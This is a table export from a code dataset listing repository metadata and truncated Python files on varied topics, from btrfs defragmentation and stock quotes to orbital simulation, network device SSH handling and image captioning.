hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 248 | max_stars_repo_name stringlengths 5 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 248 | max_issues_repo_name stringlengths 5 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 248 | max_forks_repo_name stringlengths 5 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 2.06M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.03M | alphanum_fraction float64 0 1 | count_classes int64 0 1.6M | score_classes float64 0 1 | count_generators int64 0 651k | score_generators float64 0 1 | count_decorators int64 0 990k | score_decorators float64 0 1 | count_async_functions int64 0 235k | score_async_functions float64 0 1 | count_documentation int64 0 1.04M | score_documentation float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3c3b9d3f39b8361cf623581c59d5c7de855eb076 | 943 | py | Python | btrfslime/defrag/btrfs.py | tsangwpx/btrfslime | 49c141721c532706f146fea31d2eb171c6dd698b | [
"MIT"
] | 3 | 2020-10-30T12:18:42.000Z | 2022-02-06T20:17:55.000Z | btrfslime/defrag/btrfs.py | tsangwpx/btrfslime | 49c141721c532706f146fea31d2eb171c6dd698b | [
"MIT"
] | null | null | null | btrfslime/defrag/btrfs.py | tsangwpx/btrfslime | 49c141721c532706f146fea31d2eb171c6dd698b | [
"MIT"
] | null | null | null | from __future__ import annotations
import os
import subprocess
from typing import AnyStr
from ..util import check_nonnegative
BTRFS_BIN = '/bin/btrfs'
def file_defrag(
target: AnyStr,
start: int = None,
size: int = None,
extent_size: int = None,
*,
flush=False,
btrfs_bin=BTRFS_BIN,
):
... | 21.930233 | 53 | 0.652174 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 74 | 0.078473 |
3c3ddb0feb36d17a1b33c822d86fc630d77ff009 | 14,771 | py | Python | fooltrader/api/quote.py | lcczz/fooltrader | fb43d9b2ab18fb758ca2c629ad5f7ba1ea873a0e | [
"MIT"
] | 1 | 2018-04-03T06:25:24.000Z | 2018-04-03T06:25:24.000Z | fooltrader/api/quote.py | lcczz/fooltrader | fb43d9b2ab18fb758ca2c629ad5f7ba1ea873a0e | [
"MIT"
] | null | null | null | fooltrader/api/quote.py | lcczz/fooltrader | fb43d9b2ab18fb758ca2c629ad5f7ba1ea873a0e | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import datetime
import logging
import os
from ast import literal_eval
import numpy as np
import pandas as pd
from fooltrader.consts import CHINA_STOCK_INDEX, USA_STOCK_INDEX
from fooltrader.contract import data_contract
from fooltrader.contract import files_contract
from fooltrader.contract.f... | 32.89755 | 115 | 0.580326 | 0 | 0 | 1,302 | 0.087471 | 0 | 0 | 0 | 0 | 4,343 | 0.29177 |
3c3f46d21ba0b951765c196ff37b42684f836343 | 432 | py | Python | backend/jobPortal/api/urls.py | KshitijDarekar/hackViolet22 | c54636d3044e1d9a7d8fa92a4d781e79f38af3ca | [
"MIT"
] | 2 | 2022-02-06T04:58:24.000Z | 2022-02-06T05:31:18.000Z | backend/jobPortal/api/urls.py | KshitijDarekar/hackViolet22 | c54636d3044e1d9a7d8fa92a4d781e79f38af3ca | [
"MIT"
] | 5 | 2022-02-06T05:08:04.000Z | 2022-02-06T16:29:51.000Z | backend/jobPortal/api/urls.py | KshitijDarekar/hackViolet22 | c54636d3044e1d9a7d8fa92a4d781e79f38af3ca | [
"MIT"
] | 2 | 2022-02-06T04:58:43.000Z | 2022-02-06T17:56:23.000Z | from django.urls import path
from . import views
# Refer to the corresponding view function for more detials of the url routes
urlpatterns = [
path('', views.getRoutes, name="index"),
path('add/', views.addJob, name="addJob" ),
path('delete/<int:id>', views.removeJob, name="removeJob" ),
path('get-jo... | 33.230769 | 77 | 0.685185 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 179 | 0.414352 |
3c4027e0a85dd326115e24d1e6e1369d17bbdebc | 3,135 | py | Python | rh_project/pick_six.py | hrichstein/phys_50733 | a333bfa4dd5b0ca464bd861336bc2f32d8e72a2b | [
"MIT"
] | null | null | null | rh_project/pick_six.py | hrichstein/phys_50733 | a333bfa4dd5b0ca464bd861336bc2f32d8e72a2b | [
"MIT"
] | null | null | null | rh_project/pick_six.py | hrichstein/phys_50733 | a333bfa4dd5b0ca464bd861336bc2f32d8e72a2b | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
# from scipy.constants import G
# Setting plotting parameters
from matplotlib import rc,rcParams
rc('text', usetex=True)
rc('axes', linewidth=2)
rc('font', weight='bold')
rc('font', **{'family': 'serif', 'serif':['Computer Modern']})
def find_vel_init(M1, M2, a):
pe... | 19.59375 | 71 | 0.551515 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,380 | 0.440191 |
3c42036c78c029c70b9f27f5eeeede981c311ba5 | 1,704 | py | Python | recoda/analyse/python/metrics.py | hansendx/recoda | 09e25843376613b17c6b42d45e30b895b24a7d9d | [
"MIT"
] | null | null | null | recoda/analyse/python/metrics.py | hansendx/recoda | 09e25843376613b17c6b42d45e30b895b24a7d9d | [
"MIT"
] | null | null | null | recoda/analyse/python/metrics.py | hansendx/recoda | 09e25843376613b17c6b42d45e30b895b24a7d9d | [
"MIT"
] | null | null | null | """ Provides functionality to calculate software metrics in python projects.
"""
from recoda.analyse.python import (
_general,
_installability,
_understandability,
_verifiability,
_correctness,
)
from recoda.analyse.independent import (
learnability,
openness
)
# pylint: disable-msg=c0103... | 29.894737 | 76 | 0.834507 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 615 | 0.360915 |
3c42183d7ca6ff665b6de8859306ffa82f1f09f2 | 1,667 | py | Python | legacy/functional_code/pulson440/__init__.py | jjimmykang/bwsi-backprojection | 440e21f90e2a1d0d1c28bfd9a0faaf97129378a5 | [
"MIT"
] | 1 | 2020-02-09T19:09:27.000Z | 2020-02-09T19:09:27.000Z | legacy/functional_code/pulson440/__init__.py | jjimmykang/bwsi-backprojection | 440e21f90e2a1d0d1c28bfd9a0faaf97129378a5 | [
"MIT"
] | null | null | null | legacy/functional_code/pulson440/__init__.py | jjimmykang/bwsi-backprojection | 440e21f90e2a1d0d1c28bfd9a0faaf97129378a5 | [
"MIT"
] | null | null | null | __pyarmor__(__name__, __file__, b'\xe2\x50\x8c\x64\x26\x42\xd6\x01\x5c\x5c\xf8\xa8\x85\x0c\x21\xe7\x0a\xa2\x45\x58\x6e\xc9\x3c\xd5\x55\x40\x64\x69\x7d\x5f\x63\xcb\x41\xdc\x71\xdf\x4d\x82\x99\xc8\xc1\x98\xfd\x46\x67\x20\x2f\xed\x4b\xf6\xf9\x41\x55\x5c\x47\x3c\x78\x07\x75\x5d\x9b\x88\xa2\x6e\x5e\x78\xf3\x9c\x88\xba\xed\x... | 1,667 | 1,667 | 0.74985 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,631 | 0.978404 |
3c43222bbb55fdc6b4f2d6c2fab0d2b77fcb11ea | 3,278 | py | Python | metarmap/commands/display.py | wastrachan/metarmap | 2ff9bc3e94d731b83470c2283bfb67600143d719 | [
"MIT"
] | null | null | null | metarmap/commands/display.py | wastrachan/metarmap | 2ff9bc3e94d731b83470c2283bfb67600143d719 | [
"MIT"
] | null | null | null | metarmap/commands/display.py | wastrachan/metarmap | 2ff9bc3e94d731b83470c2283bfb67600143d719 | [
"MIT"
] | null | null | null | import datetime
import os
import textwrap
import click
from PIL import Image, ImageDraw, ImageFont
from metarmap.configuration import config, debug, get_display_lock_content, set_display_lock_content
from metarmap.libraries.aviationweather import metar
from metarmap.libraries.waveshare_epd import epd2in13_V2
FONTDIR... | 38.116279 | 106 | 0.701647 | 0 | 0 | 0 | 0 | 2,588 | 0.789506 | 0 | 0 | 1,015 | 0.30964 |
3c4462f1e63b1c59a4923c8fbfbe9795c85ccd1c | 3,234 | py | Python | electionleaflets/apps/leaflets/views.py | electionleaflets/electionleaflets | 4110e96a3035c32d0b6ff3c9f832c5e003728170 | [
"MIT"
] | null | null | null | electionleaflets/apps/leaflets/views.py | electionleaflets/electionleaflets | 4110e96a3035c32d0b6ff3c9f832c5e003728170 | [
"MIT"
] | 23 | 2015-02-19T14:02:23.000Z | 2015-04-30T11:14:01.000Z | electionleaflets/apps/leaflets/views.py | electionleaflets/electionleaflets | 4110e96a3035c32d0b6ff3c9f832c5e003728170 | [
"MIT"
] | 2 | 2015-02-02T19:39:54.000Z | 2017-02-08T09:19:53.000Z | import os
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404, redirect
from django.contrib.formtools.wizard.views import NamedUrlSessionWizardView
from django.core.urlresolvers import reverse
from django.conf import settings
from django.views.generic import D... | 33.6875 | 79 | 0.629252 | 1,638 | 0.506494 | 0 | 0 | 0 | 0 | 0 | 0 | 1,341 | 0.414657 |
3c44954b74ac962e577c29775c64025c256cc805 | 3,409 | py | Python | Heap/heap.py | jeremy2918/data-structures | 17685212aac38979929ca923eb2f9b989c74d07a | [
"MIT"
] | 1 | 2021-12-14T19:57:28.000Z | 2021-12-14T19:57:28.000Z | Heap/heap.py | jeremy2918/data-structures | 17685212aac38979929ca923eb2f9b989c74d07a | [
"MIT"
] | null | null | null | Heap/heap.py | jeremy2918/data-structures | 17685212aac38979929ca923eb2f9b989c74d07a | [
"MIT"
] | null | null | null | # Min Heap Implementation
class Heap():
def __init__(self, initial_data=[]):
self.data = []
if isinstance(initial_data, int):
self.data = [initial_data]
elif isinstance(initial_data, list):
self.data = list(initial_data)
# Returns the number of element in the he... | 29.387931 | 78 | 0.566442 | 3,381 | 0.991786 | 0 | 0 | 0 | 0 | 0 | 0 | 1,058 | 0.310355 |
3c460fdfda615228be90ea72ed8b2f5c151649c7 | 16,921 | py | Python | benchmarks/benchmark_script.py | oddconcepts/n2o | fe6214dcc06a1b13be60733c53ac25bca3c2b4d0 | [
"Apache-2.0"
] | 2 | 2019-02-13T12:59:27.000Z | 2020-01-28T02:02:47.000Z | benchmarks/benchmark_script.py | oddconcepts/n2o | fe6214dcc06a1b13be60733c53ac25bca3c2b4d0 | [
"Apache-2.0"
] | 2 | 2019-06-25T10:00:57.000Z | 2019-10-26T14:55:23.000Z | benchmarks/benchmark_script.py | oddconcepts/n2o | fe6214dcc06a1b13be60733c53ac25bca3c2b4d0 | [
"Apache-2.0"
] | 1 | 2021-11-03T14:59:27.000Z | 2021-11-03T14:59:27.000Z | # This code is based on the code
# from ann-benchmark repository
# created by Erik Bernhardsson
# https://github.com/erikbern/ann-benchmarks
import gzip
import numpy
import time
import os
import multiprocessing
import argparse
import pickle
import resource
import random
import math
import logging
import shutil
import... | 37.602222 | 166 | 0.61929 | 6,555 | 0.387388 | 0 | 0 | 0 | 0 | 0 | 0 | 3,517 | 0.207848 |
3c48c2125ebec3cfbc2f8abe3432087a8f247884 | 28 | py | Python | ars/__init__.py | david-lindner/ARS | acfe403ebe90c157d61690a9498597244853fc78 | [
"BSD-2-Clause"
] | null | null | null | ars/__init__.py | david-lindner/ARS | acfe403ebe90c157d61690a9498597244853fc78 | [
"BSD-2-Clause"
] | null | null | null | ars/__init__.py | david-lindner/ARS | acfe403ebe90c157d61690a9498597244853fc78 | [
"BSD-2-Clause"
] | null | null | null | from .ars import ARSLearner
| 14 | 27 | 0.821429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3c4c370cfd780bfee437676b79c4d199589eb48b | 618 | py | Python | setup.py | elaru/python3-cre | 84863b5acaab5f903a3d3b2a1b6a2cb10ed00679 | [
"0BSD"
] | null | null | null | setup.py | elaru/python3-cre | 84863b5acaab5f903a3d3b2a1b6a2cb10ed00679 | [
"0BSD"
] | null | null | null | setup.py | elaru/python3-cre | 84863b5acaab5f903a3d3b2a1b6a2cb10ed00679 | [
"0BSD"
] | null | null | null | from setuptools import setup
setup(
name="cre",
packages=["cre"],
version="0.1.0",
author="Philipp Schiffmann",
author_email="philippschiffmann@icloud.com",
url="https://github.com/elaru/python3-cre",
description="A regular expression processor implemented in python.",
license="ISC",
classifiers=[
"Developm... | 28.090909 | 69 | 0.676375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 424 | 0.686084 |
3c4ce0be200904020cc2f4b6271e9daccb20ccb2 | 284 | py | Python | bin/const.py | Novartole/Video-pixels | 10246d1953289e1cded43ed63104f5343a3d9e65 | [
"MIT"
] | null | null | null | bin/const.py | Novartole/Video-pixels | 10246d1953289e1cded43ed63104f5343a3d9e65 | [
"MIT"
] | null | null | null | bin/const.py | Novartole/Video-pixels | 10246d1953289e1cded43ed63104f5343a3d9e65 | [
"MIT"
] | null | null | null | import enum
DEFAULT_FILE_NAME = 'DEFAULT'
RANDOM_MIX_CONFIG_NAME = 'RandomMix'
WIDTH_NAME = 'Width'
HIGHT_NAME = 'Hight'
class AutoName(enum.Enum):
def _generate_next_value_(name, start, count, last_values):
return name
class Algorithms(AutoName):
RANDOM_MIX = enum.auto() | 20.285714 | 61 | 0.760563 | 158 | 0.556338 | 0 | 0 | 0 | 0 | 0 | 0 | 34 | 0.119718 |
3c4dca815ed01033d3b7eadeef2709708a553018 | 1,902 | py | Python | src/nr/util/orderedset.py | NiklasRosenstein/python-nr.util | 087f2410d38006c1005a5fb330c47a56bcdb2279 | [
"MIT"
] | null | null | null | src/nr/util/orderedset.py | NiklasRosenstein/python-nr.util | 087f2410d38006c1005a5fb330c47a56bcdb2279 | [
"MIT"
] | 3 | 2022-02-16T13:17:28.000Z | 2022-03-14T15:28:41.000Z | src/nr/util/orderedset.py | NiklasRosenstein/python-nr.util | 087f2410d38006c1005a5fb330c47a56bcdb2279 | [
"MIT"
] | null | null | null |
import collections
import functools
import typing as t
from nr.util.generic import T
T_OrderedSet = t.TypeVar('T_OrderedSet', bound='OrderedSet')
@functools.total_ordering
class OrderedSet(t.MutableSet[T]):
def __init__(self, iterable: t.Optional[t.Iterable[T]] = None) -> None:
self._index_map: t.Dict[T, in... | 26.788732 | 73 | 0.656677 | 1,724 | 0.906414 | 0 | 0 | 1,750 | 0.920084 | 0 | 0 | 83 | 0.043638 |
3c4ddc1c01b18295d9fb2f58c8e9a33ac6c57830 | 1,812 | py | Python | applied_python/applied_python/lib/python2.7/site-packages/netmiko/linux/linux_ssh.py | mith1979/ansible_automation | 013dfa67c6d91720b787fadb21de574b6e023a26 | [
"Apache-2.0"
] | null | null | null | applied_python/applied_python/lib/python2.7/site-packages/netmiko/linux/linux_ssh.py | mith1979/ansible_automation | 013dfa67c6d91720b787fadb21de574b6e023a26 | [
"Apache-2.0"
] | null | null | null | applied_python/applied_python/lib/python2.7/site-packages/netmiko/linux/linux_ssh.py | mith1979/ansible_automation | 013dfa67c6d91720b787fadb21de574b6e023a26 | [
"Apache-2.0"
] | null | null | null | import re
from netmiko.ssh_connection import SSHConnection
class LinuxSSH(SSHConnection):
def set_base_prompt(self, pri_prompt_terminator='$',
alt_prompt_terminator='#', delay_factor=.1):
"""Determine base prompt."""
return super(SSHConnection, self).set_base_prompt(
... | 42.139535 | 93 | 0.657837 | 1,750 | 0.965784 | 0 | 0 | 0 | 0 | 0 | 0 | 195 | 0.107616 |
3c51be6bea74f985c0302d56a6e42f0067e94f0f | 4,287 | py | Python | K-Cap_2021/2C_associations_by_cluster/build_cluster_hashes.py | cultural-ai/ConConCor | f5c30dfb7d38392f492f9c6e44c8d242f2820ce4 | [
"CC-BY-2.0"
] | 1 | 2021-12-14T10:19:55.000Z | 2021-12-14T10:19:55.000Z | K-Cap_2021/2C_associations_by_cluster/build_cluster_hashes.py | cultural-ai/ConConCor | f5c30dfb7d38392f492f9c6e44c8d242f2820ce4 | [
"CC-BY-2.0"
] | null | null | null | K-Cap_2021/2C_associations_by_cluster/build_cluster_hashes.py | cultural-ai/ConConCor | f5c30dfb7d38392f492f9c6e44c8d242f2820ce4 | [
"CC-BY-2.0"
] | null | null | null | """{Build token: cluster index}, hashes for each specified granularity level in the user-defined list 'clustering_levels_to_consider'
Output: level_xx_hash.json hash to /cluster_hashes
"""
import json
import os
import pickle as pkl
import typing
import numpy as np
def main():
#
# user-defined vars
#
... | 37.278261 | 148 | 0.648239 | 0 | 0 | 1,939 | 0.452298 | 0 | 0 | 0 | 0 | 1,944 | 0.453464 |
3c529f808ec5b62668f3e070b0cf33366833814f | 3,434 | py | Python | cerebralcortex/core/datatypes/datapoint.py | hippietilley/CerebralCortex-Kernel | c7dac033d9561f14bdb72430577db6ae4e3c7911 | [
"BSD-2-Clause"
] | null | null | null | cerebralcortex/core/datatypes/datapoint.py | hippietilley/CerebralCortex-Kernel | c7dac033d9561f14bdb72430577db6ae4e3c7911 | [
"BSD-2-Clause"
] | null | null | null | cerebralcortex/core/datatypes/datapoint.py | hippietilley/CerebralCortex-Kernel | c7dac033d9561f14bdb72430577db6ae4e3c7911 | [
"BSD-2-Clause"
] | null | null | null | # Copyright (c) 2018, MD2K Center of Excellence
# - Nasir Ali <nasir.ali08@gmail.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above cop... | 33.019231 | 106 | 0.674432 | 1,995 | 0.580955 | 0 | 0 | 748 | 0.217822 | 0 | 0 | 1,647 | 0.479616 |
3c5554bd05cd5239ce11e4e4dd8fa2e50df67f34 | 7,444 | py | Python | code/reveal_links.py | antonia42/DeLi | f07dc79a98eebccbcdcb4ee74eb4570190e6f441 | [
"MIT"
] | 1 | 2021-05-20T20:53:19.000Z | 2021-05-20T20:53:19.000Z | code/reveal_links.py | antonia42/DeLi | f07dc79a98eebccbcdcb4ee74eb4570190e6f441 | [
"MIT"
] | 1 | 2021-04-06T08:34:05.000Z | 2021-11-24T10:47:27.000Z | code/reveal_links.py | antonia42/DeLi | f07dc79a98eebccbcdcb4ee74eb4570190e6f441 | [
"MIT"
] | null | null | null | import sys
import networkx as nx
#from simhash import Simhash, SimhashIndex
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
# if there is a problem with gensim and Word2Vec, check the python version
# to be 2.7
# print('Hello from {}'.format(sys.versi... | 35.113208 | 79 | 0.657308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4,997 | 0.671279 |
3c556dec90e23792b76acc982f2031b9cf0acc91 | 27,754 | py | Python | generate_hosp_plot.py | ChunaraLab/medshifts | cd8a4ac415e7ef15b6e40a8699b08cd468ea9e4b | [
"MIT"
] | 1 | 2021-11-25T12:26:16.000Z | 2021-11-25T12:26:16.000Z | generate_hosp_plot.py | ChunaraLab/medshifts | cd8a4ac415e7ef15b6e40a8699b08cd468ea9e4b | [
"MIT"
] | null | null | null | generate_hosp_plot.py | ChunaraLab/medshifts | cd8a4ac415e7ef15b6e40a8699b08cd468ea9e4b | [
"MIT"
] | null | null | null | '''
Modifed from code by Stephan Rabanser https://github.com/steverab/failing-loudly
Plot test results across hospitals
Usage:
# region
python generate_hosp_plot.py --datset eicu --path orig --test_type multiv --num_hosp 4 --random_runs 100 --min_samples 5000 --sens_attr race --group --group_type regions --limit_sam... | 59.430407 | 269 | 0.646285 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8,601 | 0.309901 |
3c57f29eb95c40842b9781c30c39516ef8329161 | 1,285 | py | Python | scripts/remove_after_use/create_spam_node_count_csv.py | caseyrollins/osf.io | e42e566f303d09b54f4025517031b08f404592eb | [
"Apache-2.0"
] | 1 | 2019-12-23T04:30:20.000Z | 2019-12-23T04:30:20.000Z | scripts/remove_after_use/create_spam_node_count_csv.py | caseyrollins/osf.io | e42e566f303d09b54f4025517031b08f404592eb | [
"Apache-2.0"
] | null | null | null | scripts/remove_after_use/create_spam_node_count_csv.py | caseyrollins/osf.io | e42e566f303d09b54f4025517031b08f404592eb | [
"Apache-2.0"
] | null | null | null | import sys
import csv
import logging
import datetime
from website.app import setup_django
setup_django()
from osf.models import Node, SpamStatus
from django.db.models import Count
from scripts import utils as script_utils
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
def main():
... | 32.125 | 173 | 0.721401 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 263 | 0.204669 |
3c583e3a31b0df8d7782674e1b493230037e47ae | 780 | py | Python | setup.py | greschd/aiida-pytest-mock-codes | 0d104fbad481c6dd2e5a0725e65dc2208fb8058b | [
"MIT"
] | 2 | 2020-02-27T16:52:54.000Z | 2021-07-17T09:07:28.000Z | setup.py | greschd/aiida-pytest-mock-codes | 0d104fbad481c6dd2e5a0725e65dc2208fb8058b | [
"MIT"
] | 31 | 2020-02-27T10:51:27.000Z | 2022-03-04T11:24:26.000Z | setup.py | greschd/aiida-pytest-mock-codes | 0d104fbad481c6dd2e5a0725e65dc2208fb8058b | [
"MIT"
] | 5 | 2020-02-27T13:31:42.000Z | 2022-01-31T18:49:06.000Z | #!/usr/bin/env python
"""Set up aiida-testing package."""
import os
import warnings
import setuptools
from setuptools.config import read_configuration
try:
import fastentrypoints # NOQA # pylint: disable=unused-import
except ImportError:
warnings.warn(
"The 'fastentrypoints' module could not be loa... | 30 | 89 | 0.744872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 267 | 0.342308 |
3c595afdb533a0fc9550d6782a8298265522f096 | 8,299 | py | Python | inference.py | biswaroop1547/Neural_Fashion_Caption_Creator | 35ca0b4b9813ed570bdde7f4f0911c9f9a1d998e | [
"MIT"
] | 3 | 2021-04-12T02:23:18.000Z | 2022-01-06T12:05:24.000Z | inference.py | biswaroop1547/Neural_Fashion_Caption_Creator | 35ca0b4b9813ed570bdde7f4f0911c9f9a1d998e | [
"MIT"
] | null | null | null | inference.py | biswaroop1547/Neural_Fashion_Caption_Creator | 35ca0b4b9813ed570bdde7f4f0911c9f9a1d998e | [
"MIT"
] | null | null | null | import os
import time
import h5py
import json
from PIL import Image
import torch
from torch import nn
import torchvision
import torchvision.transforms as transforms
import torch.optim
import torch.nn.functional as F
from torch.utils.data.dataset import random_split
from torch.utils.data import Dataset
from torch.nn.... | 32.291829 | 121 | 0.616821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,571 | 0.430293 |
3c599676a9ae26a258559d911189a12f55452ddf | 666 | py | Python | src/yellowdog_client/model/internal_user.py | yellowdog/yellowdog-sdk-python-public | da69a7d6e45c92933e34fefcaef8b5d98dcd6036 | [
"Apache-2.0"
] | null | null | null | src/yellowdog_client/model/internal_user.py | yellowdog/yellowdog-sdk-python-public | da69a7d6e45c92933e34fefcaef8b5d98dcd6036 | [
"Apache-2.0"
] | null | null | null | src/yellowdog_client/model/internal_user.py | yellowdog/yellowdog-sdk-python-public | da69a7d6e45c92933e34fefcaef8b5d98dcd6036 | [
"Apache-2.0"
] | null | null | null | from dataclasses import dataclass, field
from typing import List, Optional
from .access_delegate import AccessDelegate
from .password_state import PasswordState
from .user import User
@dataclass
class InternalUser(User):
"""Represents an internal user within the YellowDog Platform."""
type: str = field(defau... | 33.3 | 85 | 0.753754 | 467 | 0.701201 | 0 | 0 | 478 | 0.717718 | 0 | 0 | 106 | 0.159159 |
3c59b7068b704fe1f1c47ee7e6a0b30a676e031e | 6,891 | py | Python | sdk/python/pulumi_aws/dms/replication_task.py | pulumi-bot/pulumi-aws | 756c60135851e015232043c8206567101b8ebd85 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/dms/replication_task.py | pulumi-bot/pulumi-aws | 756c60135851e015232043c8206567101b8ebd85 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/dms/replication_task.py | pulumi-bot/pulumi-aws | 756c60135851e015232043c8206567101b8ebd85 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import pulumi
import pulumi.runtime
class ReplicationTask(pulumi.CustomResource):
"""
Provides a DMS (Data Migration Service) ... | 49.57554 | 288 | 0.689015 | 6,668 | 0.967639 | 0 | 0 | 0 | 0 | 0 | 0 | 3,176 | 0.460891 |
3c5b0b5866a106b628ab68aee24923fb36a181b9 | 8,674 | py | Python | pymap/interfaces/message.py | BoniLindsley/pymap | b3190d20799a6d342888e51bfc55cdfcbfe3ed26 | [
"MIT"
] | 18 | 2015-06-04T21:09:37.000Z | 2022-03-04T08:14:31.000Z | pymap/interfaces/message.py | BoniLindsley/pymap | b3190d20799a6d342888e51bfc55cdfcbfe3ed26 | [
"MIT"
] | 114 | 2018-10-17T23:11:00.000Z | 2022-03-19T16:59:16.000Z | pymap/interfaces/message.py | BoniLindsley/pymap | b3190d20799a6d342888e51bfc55cdfcbfe3ed26 | [
"MIT"
] | 8 | 2015-02-03T19:30:52.000Z | 2021-11-20T12:47:03.000Z |
from __future__ import annotations
from abc import abstractmethod
from collections.abc import Collection, Sequence
from datetime import datetime
from typing import TypeVar, Protocol
from ..bytes import Writeable
from ..flags import SessionFlags
from ..parsing.response.fetch import EnvelopeStructure, BodyStructure
fr... | 28.071197 | 79 | 0.613212 | 7,748 | 0.893244 | 0 | 0 | 6,495 | 0.748789 | 254 | 0.029283 | 5,144 | 0.593037 |
3c5b1d85968d78e7d6653a282357a7d53ef86e80 | 623 | py | Python | auxiliary-scripts/LRC-to-Label.py | xbnstudios/show-scripts | fb2eb5bb41eadc9757567fb6b1217d6c2bad0620 | [
"Unlicense"
] | 1 | 2018-03-08T16:00:31.000Z | 2018-03-08T16:00:31.000Z | auxiliary-scripts/LRC-to-Label.py | ManualManul/XBN | fb2eb5bb41eadc9757567fb6b1217d6c2bad0620 | [
"Unlicense"
] | null | null | null | auxiliary-scripts/LRC-to-Label.py | ManualManul/XBN | fb2eb5bb41eadc9757567fb6b1217d6c2bad0620 | [
"Unlicense"
] | null | null | null | import glob
for file in glob.glob("*.lrc"):
filename = file[0:7] # assume fnt-xxx.lrc file format
lrc_file = open(file, encoding="utf-8")
lrc_lines = lrc_file.readlines()
lrc_file.close()
label = open(filename + '.txt', 'w', encoding="utf-8")
print(filename)
for line in lrc_lines[3:]:
... | 31.15 | 82 | 0.552167 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 103 | 0.165329 |
3c5b46fd9008363f42f8cbdbddac0fafdcddf679 | 2,750 | py | Python | driving/boost_grab.py | Chadc265/DingusBot | 98a05fe6ef75e2b48038f9fbbfacc204e89d0d86 | [
"MIT"
] | null | null | null | driving/boost_grab.py | Chadc265/DingusBot | 98a05fe6ef75e2b48038f9fbbfacc204e89d0d86 | [
"MIT"
] | null | null | null | driving/boost_grab.py | Chadc265/DingusBot | 98a05fe6ef75e2b48038f9fbbfacc204e89d0d86 | [
"MIT"
] | null | null | null | import math
from rlbot.agents.base_agent import SimpleControllerState
from rlbot.utils.structures.game_data_struct import GameTickPacket
from driving.drive import drive_to_target
from base.action import Action
from base.car import Car
from base.ball import Ball
from util.vec import Vec3
from util.boost import BoostTrac... | 42.96875 | 136 | 0.623636 | 2,418 | 0.879273 | 0 | 0 | 0 | 0 | 0 | 0 | 222 | 0.080727 |
3c5bb249ee0abe83ae7713176bfcb5fd594b89eb | 2,026 | py | Python | texteditor.py | bkenza/text-editor | 595bcf0d8eb984287a7c8d7dac6ddc2f5e1549ad | [
"MIT"
] | null | null | null | texteditor.py | bkenza/text-editor | 595bcf0d8eb984287a7c8d7dac6ddc2f5e1549ad | [
"MIT"
] | null | null | null | texteditor.py | bkenza/text-editor | 595bcf0d8eb984287a7c8d7dac6ddc2f5e1549ad | [
"MIT"
] | null | null | null | import sys
from tkinter import *
from tkinter import filedialog
####################
# FUNCTIONS #
####################
def saveas():
global text
t = text.get("1.0", "end-1c")
savelocation = filedialog.asksaveasfilename()
file1 = open(savelocation, "w+")
file1.write(t)
file1.close()
def dar... | 20.886598 | 64 | 0.633268 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 387 | 0.191017 |
3c5cbe5565f6ab8319a2c93389c8a977b851666a | 525 | py | Python | api/models/__init__.py | NathanBMcNamara/Speculator | e74aff778d6657a8c4993c62f264008c9be99e78 | [
"MIT"
] | 106 | 2017-11-09T13:58:45.000Z | 2021-12-20T03:11:19.000Z | api/models/__init__.py | NathanBMcNamara/Speculator | e74aff778d6657a8c4993c62f264008c9be99e78 | [
"MIT"
] | 6 | 2017-10-30T13:29:49.000Z | 2021-09-13T12:06:59.000Z | api/models/__init__.py | NathanBMcNamara/Speculator | e74aff778d6657a8c4993c62f264008c9be99e78 | [
"MIT"
] | 39 | 2017-10-30T16:35:01.000Z | 2021-10-31T10:32:48.000Z | """ Default import all .py files in current directory """
from glob import iglob
from re import search
__all__ = []
""" Find all DB model modules and their paths """
for path in iglob('./**/*.py', recursive=True):
model_pattern = '.*/models/\w+\.py'
if search(model_pattern, path) is not None:
